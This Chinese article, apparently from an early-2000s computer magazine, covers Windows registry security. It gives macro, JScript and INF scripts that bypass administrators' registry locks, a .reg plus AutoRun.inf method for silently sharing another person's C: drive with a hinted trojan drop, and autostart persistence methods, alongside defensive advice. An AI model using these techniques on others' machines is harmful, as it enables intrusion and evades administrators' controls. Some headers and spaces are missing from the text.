筆者發現現在介紹注冊表的書籍的重點內容都講解注冊表關于個性化設置和系統優化等部分,而對于現實網絡環境下日益猖獗的“黑客”行為、木馬病毒以及那些令人惡心的惡意網站卻關注甚少。筆者在此就注冊表有關安全內容略加闡述,希望能起拋磚引玉之效。
一、注冊表與“黑客”行為
“黑客”利用注冊表主要包括:
A:突破部分網管軟件限制
B:共享特定硬盤分區并運行指定程序
C:啟動黑客程序等三方面,而其中又屬B、C兩方面危害較大。
1、突破部分網管軟件限制
現在流行的網管軟件基本上都可以對PC機采取隱藏桌面和硬盤特定分區、禁止修改IE瀏覽器、隱藏“開始”工具欄,封鎖注冊表編輯器regedit.exe等諸多限制,有的網吧管理員甚至到了變態的地步。于是“自由的戰士”便開始利用注冊表進行大突圍。

Word也可以給注冊表解鎖?沒錯!我們利用的是微軟在Word中提供的“宏”,沒想到吧?具體方法是:運行Word,然后編寫如下面所示的這個“Unlock”宏,即可給注冊表解鎖:
Sub?Unlock()
Dim?RegPath?As?String
RegPath?=?“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System”
System.PrivateProfileString(FileName:=“”,Section:=RegPath,Key:=“Disableregistrytools”)=“OK!”
End?Sub
③用JavaScript、VBScript腳本語言解鎖
腳本語言解鎖注冊表,這個沒的說,很多惡意網站就是靠它來鎖住我們的注冊表,現在我們反其道行之用它來解鎖注冊表。這里只給出JavaScript的核心代碼。用記事本編輯如下內容的文件,保存為以.js為后綴名的任意文件,使用時雙擊就可以了。
VAR?WSHShell=WSCRIPT.CREA-TOBJEt(“WSCRIPT.SHELL”);
WSHShell.Popup(“解鎖注冊表”);
WSHShell.RegWrite(“HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\
system\\DisableRegistryTools”,?0,“reg_dword”);
需要注意:用JS對鍵值進行操作時要用兩斜杠“\\”,并且要用“;”表示結束.
④利用SCR文件給注冊表解鎖
眾所周知,SCR文件是屏保文件,SCR文件如何用來解鎖注冊表呢?方法是將注冊表編輯器regedit.exe改名為Regedit.scr。然后,在桌面上點擊鼠標右鍵,在彈出菜單中選擇“屬性”,在彈出的“顯示屬性”對話框中選中“屏幕保護程序”,在“屏幕保護程序”下拉列表框中找到Regedit這個“屏保文件”(圖1),最后點擊“預覽”按紐,你會發現注冊表編輯器成功地打開了。再更改相關鍵值,重啟計算機后就可以給注冊表解鎖了!(記著把SCR文件改回哦!)

⑤用INF文件解鎖
在Windows中有一種后綴為INF的驅動安裝文件,它實際上是一種腳本語言,通過解釋來執行。它包含了設備驅動程序的所有安裝信息,其中也有涉及修改注冊表的相關語句,所以我們也可以利用INF文件對注冊表解鎖。
[Version]
Signature=“$CHICAGO$”
[DefaultInstall]
DelReg=UnLock
[UnLock]
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\
System,Disableregistrytools,
1,00,00,00,00
將上面的內容另存為后綴名是.inf的文件,使用時只要右鍵點擊它,在彈出菜單中選擇“安裝”即可給注冊表解鎖(如圖2)。

首先我們打開記事本編輯reg文件如下:
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\Network\Lanman\C$]
//這里我只共享了C盤,需要的可以再加
“Path”=”C:\\”
“Remark”=“?”
“Type”=dword:00000000
“Flags”=dword:00000192
“Parm1enc”=hex:
“Parm2enc”=hex:
然后另存為ShareDrives.reg文件。??再打開記事本,鍵入以下內容:
[AutoRun]
open=regedit?/s?ShareDrives.reg?//?這里/s參數作用是導入注冊表信息不顯示任何提示
再另存為AutoRun.inf文件。
將這兩個文件復制到對方共享出來的驅動盤根目錄下,此后只要雙擊共享出來的驅動盤就會自動將ShareDrives.reg文件導入注冊表,對方重啟系統后C盤也就共享出來了。試想想,我們如果在?“open=…”句后添上木馬名并將已配置好的木馬服務端一起復制過去,以后會怎樣?
那么如何對付這種攻擊呢?因為硬盤根目錄下基本不需要AutoRun.inf文件來運行程序,因此我們可以采用一個一勞永逸的辦法就是將硬盤的AutoRun功能完全關閉,這樣即使硬盤根目錄下有AutoRun.inf文件,操作系統也不會運行指定的程序。Win98為例,打開注冊表編輯器,找到[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]主鍵,在注冊表編輯器右側框中可以看到有二進制值“NoDriveTypeAutoRun”,最后只需要將其數據數值由默認的“95?00?00?00”改為“9d?00?00?00”就可以了。其原理我就不在講解了。
3、啟動黑客程序
利用注冊表啟動黑客程序,目的是想每次開機啟動時自動運行黑客程序,這同時也是很多木馬病毒自啟動常用的方法之一。普遍的方法是在將黑客程序名及參數添加到注冊表相應的鍵值下,這樣一來,每次開機時計算機將自動加載相應的注冊表項,進而使黑客程序達到常駐內存的目的。另外還有更為隱蔽的方法會在“注冊表與木馬病毒”部分詳細介紹。
下面我們打開注冊表編輯器,查看:
HKEY_LOCAL_MACHINE\Software\Microsoft
\Windows\CurrentVersion下所有以“run”開頭的鍵值;
HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion下所有以“run”開頭的鍵值;
HKEY_USERS\.Default\Software\?Microsoft\Windows\CurrentVersion下所有以“run”開頭的鍵值。
如果發現未知不明的鍵值,可很有可能就是非法植入的程序。
二、注冊表與病毒
下面我們來看看病毒是如何利用注冊表的。一般,病毒會利用注冊表來得到系統的基本信息,例如操作系統類型、系統安裝的服務程序、IE、OutLook等應用軟件的版本信息等等。這主要是為了探測系統及軟件本身的漏洞然后加以利用。更主要的,病毒是想通過注冊表實現黑客程序一樣的目的——開機自啟,常駐內存。只有這樣,病毒才能感染其他機器和文件,才有機會進行“破壞”。
打開注冊表編輯器,我們找到:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下所有以“run”開頭的鍵值;
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“run”開頭的鍵值;
HKEY_USERS\.Default\Software\?Microsoft\Windows\CurrentVersion下所有以“run”開頭的鍵值。
大部分病毒都會悄悄的在上述三個位置安家。這時我們只需要刪除相應的鍵值再刪除掉病毒程序就可以了。
此外,病毒還可以把自己注冊為系統服務來達到更為隱蔽的開機自啟的目的。其基本原理是利用在WIN2K中,“啟動類型”設置為“自動”的服務,啟動時系統就會自動運行,所以,病毒只需將自身添加到系統服務中,并將“啟動類型”設置為“自動”就可以每次啟動系統時都自動運行病毒程序。其在注冊表中的位置如下:??[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\?ServiceName\Parameters]
“Application”=?“C:\\winnt\\system32\\?ServiceName.exe
其中:ServiceName就是病毒名。
不過病毒將自身注冊為系統的“服務”程序還有一個缺點,就是在“系統配置實用程序”(在“開始→運行”中執行“Msconfig”)的“啟動”項和“服務”項中可以看得到。那么有沒有比這更隱蔽的方法呢?答案是肯定的。在“開始→運行”中執行“Gpedit.msc”。?打開“組策略”,可看到“本地計算機策略”中有兩個選項:“計算機配置”與“用戶配置”,展開“用戶配置→管理模板→系統→登錄”,雙擊“在用戶登錄時運行這些程序”子項進行屬性設置,選定“設置”項中的“已啟用”項并單擊“顯示”按鈕彈出“顯示內容”窗口,再單擊“添加”按鈕,在“添加項目”窗口內的文本框中輸入要自啟動的程序的路徑,單擊“確定”按鈕就完成了。如圖3所示:


其實惡意網站所使用的技術并不復雜,只要懂一點JavaScript、VBScript腳本語言編程和ActiveX控件原理就可以。所以在這我就不一一列舉,而是重點介紹一下如何在技術上防范和杜絕這些惡意網站。
常用方法是在IE設置中將ActiveX插件和控件、Java腳本等全部禁止。方法是:打開IE,點擊[工具]→[Internet選項]→[安全]→[自定義級別],在“安全設置”對話框中,將其中所有的ActiveX插件和控件以及與Java相關的組件全部禁止即可。如圖4?所示:

另外我們還可以卸載WSH或升級到WSH5.6。WSH(Windows?Script?Host)是微軟提供的一種基于32位Windows平臺的、與語言無關的腳本解釋機制。利用WSH,用戶能夠操縱WSH對象、ActiveX對象、注冊表和文件系統,在NT環境下還可以利用WSH訪問活動目錄服務。
卸載方法:進入“控制面板”,選擇“添加/刪除程序”,切換到“Windows安裝程序”,選擇“附件”,再選擇“詳細資料”中的Windows?Scripting?Host,最后點擊“確定”即可卸載。
其實,為了避免Windows對腳本不加限制的濫用,微軟為WSH5.6采用了一種新的安全模型,使得腳本用戶在運行腳本之前驗證其真實性。腳本開發人員對其腳本進行簽名,以免發生未經授權的修改。管理員可以強制實施嚴格的策略,確定哪些用戶有權在本地或遠程運行腳本。在Windows?2000中,簽名驗證策略是通過“本地安全策略”編輯器設置的。簽名驗證策略注冊表項位于以下配置單元:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows?ScriptHost\Settings\TrustPolicy,該注冊表項設置為以下某個REG_DWORD值:如果為0則運行所有的腳本,如果認為腳本不可信,則提示用戶,此時鍵值可設為1,如果鍵值為2則只運行可信腳本。建議將該DWORD值設為1。
四、小結
有關注冊表與安全的話題筆者就講到這,筆者只是指出了這個安全話題的冰山一角,還有很多安全問題由于時間和篇幅的限制就不再一一說明,例如防范共享入侵和禁止空連接,防止ICMP重定向報文的攻擊,防止SYN洪水攻擊等等很多經典的安全問題都和注冊表息息相連。筆者只是希望就此話題引起大家足夠認識,并且在以后實際工作、學習中遇到問題能夠拓開思路,靈活多變。最后需指出,技術只是解決問題的一個方面,對人的管理很多時候更為重要!